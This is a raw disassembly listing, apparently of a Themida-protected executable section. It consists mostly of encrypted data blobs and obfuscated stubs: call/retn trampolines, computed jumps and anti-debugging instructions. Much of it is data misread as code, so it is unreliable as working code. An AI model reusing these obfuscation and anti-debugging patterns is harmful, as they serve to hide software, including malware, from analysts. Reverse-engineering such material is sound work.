		dd 12288F8Ah, 0CEA6F8C5h, 0B9E8D701h, 4B9328AEh, 3867547Eh
		dd 0C4126F28h, 983E4BF7h, 87F5D123h, 0C1C78FD7h, 51F1E7DBh
		dd 8A506968h, 272D3362h, 57ED1650h, 4FBE5F46h, 9C5A0487h
		dd 88505804h, 0E7C9C82h, 46C51F58h, 0F48EF1Ch, 0D3D92149h
		dd 580E7EEDh, 9FAAD901h, 55328437h, 488E3A81h, 72184907h
		dd 0DBFCC9E1h, 2161B3E2h, 9A3BCB0Bh, 5835871Fh,	84913D7Eh
		dd 9924B351h, 51FD95EDh, 4385AFCh, 0BA97E9D2h, 8A579F1Ch
		dd 6CC4704Dh, 3C5D33Dh,	1C000000h, 0CA127DE4h, 9A3C49F5h
		dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh,	0B61F2CD8h
		dd 884A5703h, 597A8733h, 5733B864h, 0C7815F54h,	4, 8704EF83h
		dd 575C243Ch, 0C781E789h, 4, 8704EF83h,	895C243Ch, 0EC812414h
		dd 4, 68240C89h, 61C0EA7h, 8124148Bh, 4C4h, 4EC8300h, 81242489h
		dd 42404h
		dd 68590000h, 36D6h, 89243C89h,	87989D7h, 2434FF5Fh, 4C48159h
		dd 0FF000000h, 835A2434h, 0D0E904C4h, 0E8FFF85Fh, 1EA98DA3h
		dd 6A63366Eh, 0E3BAAB6Ah, 1DE4B87Ch, 0C503061Ch, 41BCE0FFh
		dd 0E30E593Ah, 42E154F6h, 9BA73F7Ch, 438D4474h,	45854AAFh
		dd 9830546Ah, 0AA631025h, 3EBC1808h, 0BA575AD6h, 0C11F295Fh
		dd 51676115h, 0D03693Bh, 22406168h, 0EE173286h,	455B25CEh
		dd 0BCD6285Bh, 6A9129CFh, 94D85A63h, 8F4E7C10h,	5F3C7ED3h
		dd 4C2125CEh, 0AE52643Bh, 957A16A6h, 2A4D30FEh,	2021A5Bh
		dd 926D3CB3h, 6661362h,	0BD16750Ah, 8D8D29B7h, 61C1F8Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3BC35040h
		dd 4965D0C9h, 1DA1858Bh, 81660614h, 890BAFC3h, 1432298Dh
		dd 21858B06h, 0E906142Fh, 8, 0E0D912BEh, 0B4C7A74Bh, 64D85C7h
		dd 6E080614h, 0DF810000h, 65394F18h, 267185C7h,	614h, 870F0000h
		dd 5, 0DBBF0F60h, 91B5FF61h, 8B06142Eh,	141C2595h, 6195FF06h
		dd 0E8061423h, 0Eh, 0EC3BF1C4h,	9C7B1918h, 0F6B5DEBBh
		dd 13E96376h, 0B7000000h, 21FD57BAh, 5D3A03C1h,	0F8AF6168h
		dd 402ABE9Bh, 6A5F78F4h, 6995FF00h, 8B061411h, 130BEBC0h
		dd 0EF2F45D5h, 0CDEE79FFh, 8D8D755Fh, 61C209Fh,	1D218D89h
		dd 8D890614h, 6143229h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FFC35242h, 5000BE51h, 67039C63h, 4D85C7A7h
		dd 84061406h, 6A000058h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B804C351h,	16558D09h
		dd 85C70614h, 6142671h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CABF7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CABF7	proc near		; CODE XREF: Themida_:005CABEFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CABF7	endp

; ---------------------------------------------------------------------------
		db 0BBh
		dd 4FA64F72h, 6F7B428Ah, 0C4DB5FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 27665CC3h
		dd 6F2A470Bh, 880F6053h, 5, 0F9C28166h,	0AAC88175h, 613CC76Dh
		dd 236195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 50DD1BC3h, 8FD05366h, 6AAEB82Dh
		dd 6995FF00h
; ---------------------------------------------------------------------------


loc_5CAC7C:				; DATA XREF: Themida_:0054A234o
					; Themida_:0054A900o
		adc	[esi+eax], edx
		mov	eax, eax
		jmp	short loc_5CACCD
; ---------------------------------------------------------------------------
		align 4
		db 0FCh
; ---------------------------------------------------------------------------


loc_5CAC85:				; CODE XREF: Themida_:005CAC86j
		icebp
		jecxz	short loc_5CAC85
		push	ebp
; ---------------------------------------------------------------------------
		db 0FEh, 9Bh, 74h
		dd 5793B41Ah, 4D796C5Ch, 867437FFh, 0E3F2FE1Ah,	185F7AB4h
		dd 0FC7FA312h, 5C22EBAh, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh
		dd 4293718Eh, 0C83402EAh, 1AE5B0B5h, 933DA21Bh,	0D394EE0Eh
		dd 0D6CC0D2Fh
		db 0CCh
; ---------------------------------------------------------------------------


loc_5CACCD:				; CODE XREF: Themida_:005CAC81j
		jmp	loc_5CACE3
; ---------------------------------------------------------------------------
		dw 0CA3Dh
		dd 272h, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5CACE3:				; CODE XREF: Themida_:loc_5CACCDj
		jmp	loc_5CB276
; ---------------------------------------------------------------------------
		dd 0ACFEC11Bh, 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h
		dd 8B4C6454h, 0CE03E032h, 1CBC99EBh, 627451A3h,	73FB0759h
		dd 0E09876Dh, 39A09B58h, 4BF7C412h, 0DC24993Eh,	6EA89305h
		dd 1E4D5055h, 66A5310Eh, 0F2977A60h, 26B18E51h,	0FB93EB97h
		dd 0D8AFB763h, 0A57F6DA6h, 0C1CCFB73h, 0EDFAA615h, 0B52BD7E6h
		dd 0F606D09Dh, 3F9C7447h, 0F827BFFDh, 8650E4A6h, 0D206E335h
		dd 0FBD8A5EDh, 0EC641D03h, 0CC6459C4h, 28B08D9Dh, 0F3DEEB97h
		dd 0FF36C411h, 5BFF74CEh, 546B17AFh, 0FAEAD939h, 66FE968Fh
		dd 6A50561Eh, 7E51F245h, 68BD2756h, 687084C6h, 0AE280557h
		dd 0F7FDC50Dh, 51F24511h, 64CEFD25h, 0F2453B1Eh, 0E7A3B751h
		dd 0ED9479ECh, 6185FEh,	179C0000h, 913CF040h, 5483B565h
		dd 822E8D49h, 0F254583Ch, 80C2D651h, 0ED855A0Bh, 1A4FEh
		dd 12BB0000h, 4350FCC1h, 74812D90h, 9FAC5861h, 0D1D98538h
		dd 0F1E7E5CBh, 84D1F951h, 0A9BF6B54h, 2EE4C585h, 72FF3F16h
		dd 1E754690h, 6190A270h, 1AB9730Fh, 627451A3h, 8E441159h
		dd 0C6F7E02Dh, 12CE8797h, 444CF8C5h, 6B3D806Dh,	4FA75366h
		dd 59D259F8h, 9B41F2Ah,	0CB87EB5Dh, 0CF17A631h,	3DE9D602h
		dd 0C9A6B6E5h, 8F66AE0Dh, 37AF4C76h, 0D43E6DADh, 4B00BC7h
		dd 33DFDAF7h, 555BB026h, 51F21C6Fh, 17C35B83h, 5E43FFE3h
		dd 0DFF4C197h, 3D5DAFDEh, 0EDBBCFA6h, 874FFEh, 12660000h
		dd 3F4CF8C5h, 9E02893h,	3BD65C3Bh, 1E88B708h, 0EE0644A8h
		dd 0BF8CD4E9h, 6676A518h, 0C36F4E89h, 0EE9A1FB6h, 1AC6F5E1h
		dd 4AF6C50Dh, 6F721034h, 35C486A8h, 0A04C6D68h,	0C8AD1948h
		dd 56FEED18h, 62h, 7E3774Eh, 0F811A802h, 0C512E2C9h, 993F4CF8h
		dd 666D7A26h, 399EAB57h, 5EA03784h, 0A388E7BBh,	0BF6B0310h
		dd 439926B2h, 0A7E631Fh, 0FED56426h, 0DB51CEB0h, 7A43901Bh
		dd 0AFDE76CEh, 388A33A4h, 0FCC1127Fh, 0E8270A50h, 8FA351F1h
		dd 0F18DD8F3h, 0B71FEEDh, 69000000h, 0F3B59BA1h, 0A1C951F1h
		dd 0C0128B72h, 0E5EBB3FBh, 51F1E7FFh, 0C7734C8Ch, 5281A96Fh
		dd 0C0FBDBE8h, 2CCE0714h, 1B4632E5h, 731FB74Fh,	9E4A6F66h
		dd 0E5C4866Ah, 0A82DFA50h, 0F290E211h, 5764723Fh, 6B51D28h
		dd 0D6E5F1BEh, 93A3D22Ah, 5DA549B7h, 0DB7A0686h, 114070A0h
		dd 0D2EE050Bh, 8C6457E5h, 6D2A086h, 0F48CB458h,	209B3B48h
		dd 0D6E5F1CEh, 0D300E42Ah, 7E625806h, 0DAE28DCh, 11F7FDC5h
		dd 255806D3h, 0E6BECEFDh, 8D4BBF19h, 962E8632h,	8C7A5C67h
		dd 6EC6724Bh, 0D33A2026h, 264E5806h, 5879468Eh,	0FEBF1461h
		dd 7E5865CFh, 4E84913Dh, 23B4C16Dh, 0F1E1EE9Ah,	10C61ECAh
		dd 590BEEACh, 0DCA455F5h, 6D2F0D6h, 8FDC0458h, 75CD7944h
		dd 209B3B46h, 0AE29F6CEh, 0F174E00Fh, 0DF8D906h, 12Dh
		dd 0F9A51324h, 0B882DAB1h, 0B4A5ED5Fh, 1D4C1F9Bh, 0F625BDD9h
		dd 0B5B3EAF0h, 416957E5h, 15C08D95h, 71A0F8A4h,	34B7066h
		dd 0EF1E9B36h, 973A07DFh, 0EF1E7622h, 1DC9F2E4h, 61474D15h
		dd 755806B6h, 0E9D2004Dh, 9427AFBAh, 701276E8h,	4FA11ABCh
		dd 0D9235411h, 3CAAF8h,	13C10000h, 0E3B0F8A6h, 9399C8F3h
		dd 0E6D3FECBh, 6FB3E23Ah, 0D1F1E7A9h, 360D557Dh, 116D01F4h
		dd 0F6608FF3h, 0F193CAB0h, 682A4ED1h, 72BA68D5h, 0F194A66Ch
		dd 527A51h, 9822h, 0A5137900h, 0F0ABB1F9h, 1C57E510h, 8C38834Fh
		dd 0A9810534h, 5F0BDA3h, 0F3F9D158h, 5805F10Dh,	0C961F921h
		dd 474D151Dh, 5805F161h, 7F409875h, 7E3B9AE7h, 2992444Fh
		dd 0DFDCFAD7h, 0E3C9CF97h, 705805F0h, 54AC5861h, 0CD37668Eh
		dd 5F1A687h, 0EAD2958h,	1A954B62h, 9E59974h, 0F7A31CBCh
		dd 5F4200A2h, 0B14B07EBh, 68449625h, 80E56FAh, 5E018633h
		dd 0E8B5FD25h, 39A3D2EBh, 6511AA2Ch, 1D2C6E10h,	0AA2FC946h
		dd 38674E4Bh, 0C810C02Eh, 1D31EDC2h, 65B7DF64h,	0F9A513ACh
		dd 8D6ABB1h, 0A0C857EDh, 17EFE7F4h, 0F74FFBBEh,	0A6300D5Fh
		dd 0B6C8FD56h, 6E0657AAh, 91785926h, 0E9EA58Bh,	0F991B958h
		dd 5CC6F54Dh, 3BAC4316h, 0BDDD415Ah, 2578B58Ch,	0D46CD4F9h
		dd 7F3C9AA5h, 8086502Dh, 0B6BE6A53h, 7D5ACAB0h,	1EB6DE5Ch
		dd 8CDDA86h, 9BA169B1h,	5C7D5AB5h, 0D0E9ECC9h, 929F0938h
		dd 0BECB7744h, 0F4FCA815h, 7D5B08EEh, 9EF41C5Ch, 2329D87Ah
		dd 5C7D5B3Dh, 0FC912951h, 3C09385Ah, 0E9F4239Ch, 0A47CCEEDh
		dd 5AF0D6DCh, 0DC045C7Dh, 8734A2ADh, 3CDDBh, 0E4240000h
		dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0B76833B8h
		dd 89000062h, 0E589242Ch, 4C581h, 0ED830000h, 242C8704h
		dd 0E289525Ch, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h
		dd 0AAh, 53241C89h, 9B624468h, 0EB815B13h, 0D7F413Bh, 545B5A53h
		dd 81241C8Bh, 4C4h, 458D6800h, 14890000h, 8438F24h, 50241C8Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 5624148Bh,	0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 0FFF8578Bh
; ---------------------------------------------------------------------------
		mov	esi, gs


loc_5CB276:				; CODE XREF: Themida_:loc_5CACE3j
		mov	eax, 61C260Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F8h
		dd 0B242A1B1h, 85269193h, 0EF32F88Ah, 75583047h, 0E42270D3h
		dd 31738D9Ch, 8111E954h, 8B13C8ADh, 0DE3E3E97h,	524E324h
		dd 8D5AC716h, 1C27B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8A84916Ah, 5BB866E7h
		dd 298D894Ah, 6A061432h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 4587C352h, 13ADEE19h
		dd 858BEC28h, 6142C41h,	64D85C7h, 62100614h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9035E2C3h, 85C71956h, 6142671h, 0
; ---------------------------------------------------------------------------
		call	sub_5CB344
		xchg	esi, [eax+33D792A7h]
		push	es

; =============== S U B	R O U T	I N E =======================================



sub_5CB344	proc near		; CODE XREF: Themida_:005CB338p
		mov	[ebp+6142179h],	esi
		pop	ebx
		push	dword ptr [ebp+61414ADh]
		push	0
		push	esi
		call	sub_5CB35C
		and	[esi-3Dh], bl
sub_5CB344	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CB35C	proc near		; CODE XREF: sub_5CB344+10p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CB35C	endp

; ---------------------------------------------------------------------------
		dec	esi
		db	2Eh
		push	cs
		jmp	loc_5CB382
; ---------------------------------------------------------------------------
		dd 74315BBh, 19BCCD4Dh,	0AD99E0D7h
		db 0C4h, 65h
; ---------------------------------------------------------------------------


loc_5CB382:				; CODE XREF: Themida_:005CB36Fj
		call	dword ptr [ebp+6142361h]
		mov	[ebp+61402B5h],	esi
		push	0
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_5CB416
; ---------------------------------------------------------------------------
		sbb	al, bl
		push	ebx
		lahf
		nop
		adc	[eax], cl
		ja	short loc_5CB40F
		or	dl, dl
		retn
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 49h
		dd 0AE67C4F7h, 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh
		dd 0D162FF12h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h
		dd 0BFFF05FDh, 0E17FFE51h, 0A4A2C0E6h, 299FA25Dh, 6B48032Fh
		dd 0AE3DBFBBh, 6DA2ABB2h, 0F032F306h, 55D9A1C3h, 77C908F2h
		dd 0DA37E577h, 516A38DBh, 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh
; ---------------------------------------------------------------------------
		jb	short loc_5CB471
		push	es


loc_5CB40F:				; CODE XREF: Themida_:005CB3A1j
		cdq
		wait
; ---------------------------------------------------------------------------
		db 69h,	0EBh, 98h
		db 0, 0AAh
; ---------------------------------------------------------------------------


loc_5CB416:				; CODE XREF: Themida_:005CB398j
		call	near ptr loc_5CB42C+1
		sbb	al, ah
		nop
		imul	esp, [ebx-79AC039Ah], 3Fh
		add	[ebx], cl
		sahf
		out	dx, al
		db	64h
		push	es
		inc	esp


loc_5CB42C:				; CODE XREF: Themida_:loc_5CB416p
		mov	ah, [esi-75h]
		icebp
		pop	edx
		mov	edi, 7F3CED3Bh
		add	edx, 655Fh
		mov	esi, [ebp+61402F1h]
		mov	ecx, 1914h
		jmp	loc_5CB45B
; ---------------------------------------------------------------------------
		dd 7821A297h, 0D38CD15Bh, 963DB767h
		db 0Bh,	64h, 8Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CB4D0


loc_5CB45B:				; CODE XREF: Themida_:005CB447j
					; sub_5CB4D0+45j
		push	dword ptr [edx]
		pop	ebx
		mov	esi, [ebp+614319Dh]
		xor	ebx, 36BF63F2h
		jmp	loc_5CB47B
; END OF FUNCTION CHUNK	FOR sub_5CB4D0
; ---------------------------------------------------------------------------
		db 67h
		db 6Bh
; ---------------------------------------------------------------------------


loc_5CB471:				; CODE XREF: Themida_:005CB40Cj
		cwde
		cmp	ch, 0E4h
		cmp	[ebp+edi*8+8], edi
; ---------------------------------------------------------------------------
		db 0BAh, 22h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CB4D0


loc_5CB47B:				; CODE XREF: sub_5CB4D0-66j
		add	ebx, 3BA3925Dh
		jnp	loc_5CB48D
		jnp	$+6


loc_5CB48D:				; CODE XREF: sub_5CB4D0-4Fj
		sub	ebx, 37C82010h
		sub	si, 2B21h
		push	ebx
		jmp	loc_5CB4AC
; END OF FUNCTION CHUNK	FOR sub_5CB4D0
; ---------------------------------------------------------------------------
		dw 0BC76h
		dd 0FB0D2C78h, 41CB3B16h, 6E5D3874h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CB4D0


loc_5CB4AC:				; CODE XREF: sub_5CB4D0-37j
		pop	dword ptr [edx]
		mov	edi, [ebp+6142115h]
		sub	edx, 2B4A620Dh
		call	sub_5CB4D0
		xor	esi, ebp
		adc	[ebx+5173716Eh], esi
		dec	edx
		mov	ebp, 953F815Dh
		and	[ebp+32h], bh
; END OF FUNCTION CHUNK	FOR sub_5CB4D0

; =============== S U B	R O U T	I N E =======================================



sub_5CB4D0	proc near		; CODE XREF: sub_5CB4D0-16p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005CB45B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005CB47B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005CB4AC SIZE 00000024 BYTES

		mov	edi, [ebp+61412E9h]
		pop	eax
		add	edx, 2B4A6209h
		jmp	loc_5CB4E7
; ---------------------------------------------------------------------------
		dw 7FAEh
; ---------------------------------------------------------------------------
		shr	dword ptr [eax-3Bh], 1


loc_5CB4E7:				; CODE XREF: sub_5CB4D0+Dj
		sub	ecx, 1
		jnz	loc_5CB50F
		mov	di, dx
		jmp	loc_5CB52E
; ---------------------------------------------------------------------------
		db 0F5h
		dd 969871C5h, 990151B8h, 259D519Ch, 26D266Bh
		db 4Dh,	9Ah, 22h
; ---------------------------------------------------------------------------


loc_5CB50F:				; CODE XREF: sub_5CB4D0+1Dj
		mov	[ebp+61408C5h],	ebx
		jmp	loc_5CB45B
; ---------------------------------------------------------------------------
		dw 0CE56h
		dd 9F797EA1h, 0B2A57066h, 6B632D90h, 9C219E94h
		db 99h,	0A1h
; ---------------------------------------------------------------------------


loc_5CB52E:				; CODE XREF: sub_5CB4D0+26j
		jmp	loc_5CB554
; ---------------------------------------------------------------------------
		db 0EAh
		dd offset dword_4DE000+284h
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_5CB554:				; CODE XREF: sub_5CB4D0:loc_5CB52Ej
		jmp	loc_5CBAD3
; ---------------------------------------------------------------------------
		db 8Ch,	50h, 6Fh
		dd 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h,	0BDF3C5FEh
		dd 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h,	10F8DEE4h
		dd 110C580Eh, 894A17AAh, 0E7987E84h, 84AC51F1h,	84379FECh
		dd 2F8C4A55h, 5C617683h, 0CF5B320Ah, 0D8C8AE0Eh, 47ABEA99h
		dd 0EC841F2Ch, 0DA760795h, 0FA296089h, 28D4E7EFh, 5400BB1Bh
		dd 85318C47h, 55EFAB0Fh, 0BE83A81h, 0C3A0F2CDh,	0F6FEAA15h
		dd 7573AC1Fh, 91EAECF7h, 9CDA3186h, 8CF1C22h, 567B86B5h
		dd 0C062B763h, 516E6A82h, 219A3C09h, 0D105E2F2h, 15F83EEAh
		dd 9151F2AAh, 15FB01C9h, 2951F2AAh, 40E0AA01h, 12BEB641h
		dd 0DAF191E3h, 0FEED908Bh, 7873h, 0C4128A00h, 21054BF7h
		dd 0AA51F1E8h, 0D8E5912Eh, 16C2FBh, 0E33BBEDCh,	82874E1Bh
		dd 0F1E7967Ch, 0EA82AA51h, 19A0313Eh, 1BA43481h, 0E3F89AECh
		dd 0FEEDF182h, 17Ch, 0C1129300h, 904350FCh, 0AC79812Dh
		dd 91E99526h, 3B7E5762h, 3401198Fh, 156D19A2h, 0E7E1C7CDh
		dd 0CDF551F1h, 0F60E4C9Eh, 12AD2BDDh, 8350287Ah, 0B451AA54h
		dd 0A7A37BB2h, 0DC0B630Fh, 64B605D1h, 0F8C512ABh, 0B5DCD9B0h
		dd 0B81D289Dh, 0C1121F89h, 8E4350FCh, 65727F2Bh, 0D63AAC58h
		dd 645580B4h, 16C860B8h, 7B5C90B2h, 0C313F042h,	933F4CF8h
		dd 0D3F57C28h, 1B591CB7h, 0AFC5FEEDh, 0DC000000h, 2F8C4A17h
		dd 0FADE2B83h, 4C8B96C5h, 1AB8C571h, 0C4EFE7E2h, 4C858AEAh
		dd 0D169C16Dh, 2329F139h, 51F23E3Dh, 90FA2951h,	0B4BA5583h
		dd 51F23DCEh, 7622BAE2h, 0A5516869h, 0ECCD8D71h, 7CB0D236h
		dd 3810625Bh, 204F6A6Bh, 4FFBC215h, 5E5B7A47h, 49F5C411h
		dd 1EB7C2F1h, 4668EF9Bh, 99E68F04h, 6838FEEDh, 30000000h
		dd 1D4C6F63h, 48C51236h, 0B864577Bh, 0E7F4DA60h, 0E00851F1h
		dd 0BD949C48h, 0C2C88428h, 51F242DCh, 0E171C8F0h, 7177BF30h
		dd 51F2B68Bh, 3D48779Fh, 54676F9Bh, 0B720060Ch,	0C3451F2h
		dd 0B094C874h, 407D5A92h, 0C11235EEh, 932B8E47h, 0E7BEA1E7h
		dd 723A51F1h, 0E38F2EA5h, 480A5C8Bh, 0EDF21253h, 1ECFEh
		dd 12030000h, 424FFBC0h, 0B4406894h, 0CC7B3C21h, 91338834h
		dd 727840F1h, 51F29C8Ch, 9D32181Eh, 1E4651F2h, 65587B58h
		dd 655680CDh, 5FA72B36h, 5AAC4477h, 1860107Eh, 7C828D4Bh
		dd 51F29C96h, 3EEA82AAh, 0ABB1B7E6h, 57E5B794h,	2E36E20Ah
		dd 99457461h, 0D9E2F441h, 9BA6D52Dh, 512E803Bh,	21EE3685h
		dd 35B07B6h, 40246AD4h,	0A25806B8h, 6E689CBEh, 5623FB4Dh
		dd 79903C81h, 0B9B9A138h, 305FF76Ch, 8D5AB125h,	73CB7746h
		dd 6B407EDh, 3D431B58h,	5806B457h, 13AB436Bh, 3F7C5A67h
		dd 9DBD2193h, 0FA4C6F67h, 6E545A22h, 825806B4h,	0A6BF2B5Ah
		dd 58F8D925h, 14Ch, 44A5136Fh, 29812D8Eh, 0C434991h, 0C257E50Eh
		dd 19E6EE9Ah, 0C8D302B9h, 8E65AD0Eh, 0D9ED7534h, 8898C72Eh
		dd 15D12BABh, 5EC3D4DCh, 0AC83CB63h, 7C7D3E9Ch,	0AB15445Fh
		dd 9CE389Eh, 0FE701CB4h, 9244F89Ah, 0CC99D729h,	32F8D9D5h
		dd 66h,	43A61349h, 707D2994h, 29C15962h, 854C19E1h, 0FBC10534h
		dd 0CFD1F1E7h, 0F8885FA7h, 8B32318h, 0A1AD045Ch, 66D0FFE0h
		dd 0F2683A20h, 0F89ABED1h, 0B15A7C49h, 0F267C5ABh, 19B1D9D1h
		dd 0DC8156Dh, 79A800ACh, 0A6AC026Fh, 0D1F267C0h, 0CC14ACD4h
		dd 0F26800C6h, 0F6FCD451h, 51F26810h, 1264FC24h, 9734h
		dd 0A5138B00h, 0F0ABB1F9h, 1C57E510h, 0C7F22A45h, 3683DA2Dh
		dd 69ED1CA1h, 2B31F941h, 58067D45h, 957B8159h, 0A958067Ch
		dd 50BAE981h, 0D6289343h, 32DEDDF9h, 67E0BECh, 0C7836758h
		dd 7E646A32h, 9258067Eh, 0A6303B6Ah, 0D100CD15h, 83369BE8h
		dd 0A46C4454h, 67DB89Eh, 75A4CC58h, 951FD6Bh, 0F726973Ch
		dd 0C6B5EBF1h, 41695E01h, 15C08D95h, 71A0F8A4h,	9F4B7066h
		dd 53EAA84Ah, 0EBF139E5h, 641DEFB5h, 734110E7h,	94BE74A2h
		dd 67B9E165h, 0A714C28Fh, 8D74A3FBh, 0B1F9A513h, 0ED3075ABh
		dd 0FCDAA757h, 0BDC52400h, 42DAA646h, 8B0F3E96h, 0F3E325AEh
		dd 2C8430C8h, 0FBDBE894h, 27AB78C0h, 6190E894h,	26AC7951h
		dd 2E8F4895h, 0D9E2F4FFh, 0F61EE72Dh, 94F823AAh, 23983EF6h
		dd 29E2F4D1h, 0D6755B61h, 6189A40Ch, 0CD5F5DBh,	99E109A4h
		dd 0CD5AD93h, 199C1A4h,	58804D55h, 0A82D3867h, 6E106511h
		dd 0FDBE182Ch, 0B308CEABh, 3F907h, 0E4500000h, 0F5CA127Dh
		dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h,	0D8E5F2FFh
		dd 3B61F2Ch, 33884A57h,	64597A87h, 895133B8h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h, 4C1h
		dd 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------
		mov	[esp-4+arg_0], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	ebp
		mov	ebp, 5ECA73D4h
		sub	ebp, 268F78ABh
		sub	ebp, 321ED1AFh
		mov	ecx, ebp
		pop	ebp
		push	esp
		mov	edi, [esp+0]
		add	esp, 4
		push	15F3h
		mov	[esp+0], ecx
		pop	dword ptr [edi+8]
		mov	edi, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 29h
; ---------------------------------------------------------------------------


loc_5CBAD3:				; CODE XREF: sub_5CB4D0:loc_5CB554j
		mov	eax, 61C2E6Bh
		add	eax, ebp
		jmp	eax
sub_5CB4D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 36D8DC72h, 3B342C63h, 42458406h, 71C01299h, 3E47FF9Bh
		dd 129B4369h, 4CCB3FEBh, 3AD58298h, 67EC0100h, 5E9293AAh
		dd 1B2916E1h, 58E297ABh, 2318F1ABh, 189BFE5h, 20DB2BE3h
		dd 10B35351h, 10EBh, 3 dup(0)
		align 10h
		push	0
		push	edx
		call	sub_5CBB3B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBB3B	proc near		; CODE XREF: Themida_:005CBB33p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CBB3B	endp

; ---------------------------------------------------------------------------
		mov	ch, 0B1h
		icebp
		sahf
		ja	loc_5CBB5B
		add	[ebp+6142B05h],	edx


loc_5CBB5B:				; CODE XREF: Themida_:005CBB4Fj
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_5CBB6D
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5CBB86


loc_5CBB6D:				; CODE XREF: Themida_:005CBB62j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_5CBB86:				; CODE XREF: Themida_:005CBB6Bj
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5CBBA6
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_5CBBA6:				; CODE XREF: Themida_:005CBB8Dj
		push	0
		push	ecx
		call	sub_5CBBB1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBBB1	proc near		; CODE XREF: Themida_:005CBBA9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CBBB1	endp

; ---------------------------------------------------------------------------
		db 74h,	29h, 8Dh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		pop	es
		adc	al, 6
		mov	edx, [ebp+6141BEDh]
		mov	eax, eax
		stc
		mov	esi, [ebp+61422E5h]
		mov	ecx, [ebp+61401B9h]
		push	0
		push	esi
		call	sub_5CBBE8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBBE8	proc near		; CODE XREF: Themida_:005CBBE0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5CBBE8	endp

; ---------------------------------------------------------------------------
		lodsb
		inc	ebx
		int	3		; Trap to Debugger
		lodsb
		mov	dx, 0A975h
		pusha
		add	esi, [ebp+614217Dh]
		jge	loc_5CBC11
		mov	dx, 4BCh


loc_5CBC11:				; CODE XREF: Themida_:005CBC07j
		popa
		cmp	ecx, 0
		jz	loc_5CBC84
		push	0
		push	edx
		call	sub_5CBC26
		and	[edx-3Dh], bl

